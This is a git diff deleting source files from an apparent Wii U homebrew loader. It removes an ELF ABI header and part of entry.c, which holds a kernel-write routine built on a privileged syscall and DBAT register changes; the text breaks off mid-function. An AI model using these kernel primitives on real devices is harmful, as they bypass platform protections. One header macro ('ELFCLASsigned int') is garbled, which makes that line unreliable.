documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/hbl_loader/sd_loader/src/entry.c b/dsrom/hbl_loader/sd_loader/src/entry.c deleted file mode 100644 index ccfa427..0000000 --- a/dsrom/hbl_loader/sd_loader/src/entry.c +++ /dev/null @@ -1,666 +0,0 @@ -#include -#include "elf_abi.h" -#include "../../common.h" -#include "../../fs_defs.h" -#include "../../os_defs.h" -#include "kernel_defs.h" -#include "loader_defs.h" - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); -#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) - -typedef struct _private_data_t -{ - EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); - EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); - - EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s); - EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s); - EXPORT_DECL(void, OSFatal, const char* msg); - EXPORT_DECL(unsigned int, OSEffectiveToPhysical, const void*); - EXPORT_DECL(void, exit, int); - - EXPORT_DECL(int, FSInit, void); - EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); - EXPORT_DECL(int, FSDelClient, void *pClient); - EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); - EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); - EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling); - EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); - EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); - EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); - EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); - EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); - - EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); -} private_data_t; - -static void (*DCFlushRange)(void *addr, unsigned int size); -static void (*DCInvalidateRange)(void *addr, unsigned int size); -static void (*ICInvalidateRange)(void *addr, unsigned int size); -static unsigned int hook_LiWaitOneChunk; -static unsigned int addrphys_LiWaitOneChunk; - -extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); -extern void my_PrepareTitle_hook(void); - -/* Write a 32-bit word with kernel permissions */ -static void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access with cache inhibited to write through and read directly from memory - */ - unsigned int dbatu0, dbatl0, dbatu1, dbatl1; - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mfdbatu %0, 1" : "=r" (dbatu1)); - asm volatile("mfdbatl %0, 1" : "=r" (dbatl1)); - - unsigned int target_dbatu0 = 0; - unsigned int target_dbatl0 = 0; - unsigned int target_dbatu1 = 0; - unsigned int target_dbatl1 = 0; - - unsigned int *dst_p = (unsigned int*)addr; - unsigned int *src_p = (unsigned int*)src; - - // we only need DBAT modification for addresses out of our own DBAT range - // as our own DBAT is available everywhere for user and supervisor - // since our own DBAT is on DBAT5 position we don't collide here - if(addr < 0x00800000 || addr >= 0x01000000) - { - target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = (addr & 0xFFF00000) | 0x32; - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : 